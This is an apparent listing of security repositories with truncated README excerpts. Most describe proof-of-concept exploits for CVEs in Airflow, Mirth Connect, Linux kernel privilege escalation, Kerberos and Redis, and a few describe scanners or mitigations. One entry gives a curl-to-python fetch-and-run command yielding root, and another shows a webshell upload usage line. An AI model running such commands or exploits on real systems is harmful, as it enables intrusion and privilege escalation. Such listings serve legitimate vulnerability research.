cve-2026-75157-poc

CVE-2026-75157 PoC Authorized security research PoC for the Apache Airflow queued-events authorization flaw in versions before 3.3.2. Scope Run only against an Airflow instance you own or are explicitly authorized to test. The default runner refuses non-loopback targets. This repository contains ...

CVE-2022-21449-vuln-test

CVE-2022-21449 Vulnerability tester Introduction There's a new CVE-2022-21449 that had bug in ECDSA signature verification. It's one of the algorithms used with JWT for example. Citing the blog post If you have deployed Java 15, Java 16, Java 17, or Java 18 in production then you should stop what...

CVE-2023-43208-PoC

Mirth Connect RCE Exploit CVE-2023-43208 This script is a Proof of Concept PoC for the Remote Code Execution RCE vulnerability in Mirth Connect versions prior to 4.4.1. It exploits an XStream deserialization vulnerability through the API. Requirements Python 3.10 or higher Compatible with 3.13...

CVE-2025-55182

CVE-2025-55182 Scanner A proof-of-concept scanner for CVE-2025-55182 , a critical unauthenticated Remote Code Execution RCE vulnerability in React Server Components RSC. Overview On December 3, 2025, a critical vulnerability was disclosed affecting React 19.x and Next.js applications using React...

CVE-2022-31814

CVE-2022-31814...

CVE-2026-31431-copy-fail

Copy Fail Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same 732-byte Python script roots every Linux distribution shipped since 2017. Quick run: curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user...

pwnage24mtk

pwnage24mtk Cert exploit for MTK devices.There is a logic flaw in MTK cert verification process.Similar to CVE-2023-20696. May be patched at June Disclaimer This project is only used for researching. Make sure you get authorized before you use it. Not allowed for illegal use. It is not allowed to...

CVE-2026-53576

Kestra Unauthenticated RCE Exploit CVE-2026-53576 Critical Authentication Bypass leading to Unauthenticated Remote Code Execution Exploit • Vulnerability Details • Impact • Remediation ⚠️ DISCLAIMER This tool is for educational and authorized security testing purposes only. DO NOT use this against...

WHS4_CVE-2021-4034

CVE-2021-4034 PwnKit - Local Privilege Escalation PoC 🔗 Original Project : berdav/CVE-2021-4034 This project is an educational analysis and modification based on the original. MIT License Compliant | White Hat School Training Task 📋 Overview CVE-2021-4034 is a local privilege escalation...

CVE-2025-49844_POC

CVE-2025-49844POC CVE-2025-49844 POC -h View help information ··· Redis has a Redis Lua script remote code execution vulnerability CVE-2025-49844. The root cause of this vulnerability is a design flaw in the interaction between Redis's Lua script engine and its memory management logic. ··· ···...

ResetNightmare

ResetNightmare Proof-of-concept POC tool for ResetNightmare CVE-2026-27912. ResetNightmare is a validation flaw in the Kerberos Change Password protocol that allows for resetting the password of any target user/computer account, without knowing the current one. The attack requires an unpatched...

c0ntextomy

c0ntextomy an informal fallacy and a type of false attribution in which a passage is removed from its surrounding matter in such a way as to distort its intended meaning Wikipedia - Contextomy A Proof of Concept demonstrating the vulnerability with a debug session hijack, remote code execution, a...

CVE-2025-6018-6019-PoC

CVE-2025-6018 & CVE-2025-6019: Local Privilege Escalation PoC A robust Proof of Concept PoC for chaining CVE-2025-6018 PAM/Polkit Active Session Bypass and CVE-2025-6019 libblockdev SUID Mount Flaw to achieve root access on vulnerable Linux systems. Disclaimer This tool is for educational purpose...

PATCH-CVE-2026-31431-Ubuntu_Debian

🛡️ CVE-2026-31431 Copy Fail Mitigation - Linux Kernel This repository contains scripts designed to neutralize the critical vulnerability CVE-2026-31431 , nicknamed "Copy Fail" , on Ubuntu systems. !IMPORTANT Compatibility: These scripts are tailored for and tested on Ubuntu Server 24.04 LTS. While...

CVE-2025-4162030

Security Advisory: CVE-2025-4162030 This security summary was provided by CoPilot ^1^. The content provided on this website is available for informational purposes only and may be accessed and used by search engines or language models LLMs with the following restrictions: The content may be...

cve-2025-53779-kerberos_bypass_reproduction

CVE-2025-53779: Microsoft Windows Kerberos Authentication Bypass CVSS Score: 9.8 Critical Status: Active exploitation in the wild Disclosure: Microsoft August 2025 Patch Tuesday Zero-Day Overview CVE-2025-53779 is a critical authentication bypass vulnerability in Microsoft Windows Kerberos protoc...

CVE-2024-3273-

CVE-2024-3273-...

Apache-Pluto-3.0.0--CVE-2018-1306

CVE-2018-1306 Apache Pluto 3.0.0 issue in the authorisation logic which lets attacker upload malicious files by tampering HTTP methods. Script written in python3. Usage: python3 ./plutorce.py http://192.168.0.1/ webshell.jsp...

-CVE-2026-23829-CTT-Mailpit-phase-reconstruction-

SimoesCTT-mailpit-phase-reconstructor It's a CRLF injection in Mailpit's SMTP server — a classic data corruption vulnerability. But under CTT, it's not just a bug. It's a phase reconstruction opportunity. CVE-2026-23829 CTT-Mailpit-Phase-Reconstructor CVE-2026-23829 — Proof of Novel Physics --- ⚡...

CVE-2019-19550

CVE-2019-19550 Description Remote Authentication Bypass in Senior Rubiweb 6.2.34.28 and 6.2.34.37 allows admin access to sensitive information of affected users using vulnerable versions. The attacker only needs to provide the correct URL. Important Dates Announcement to Vendor: 2019-12-02 Public...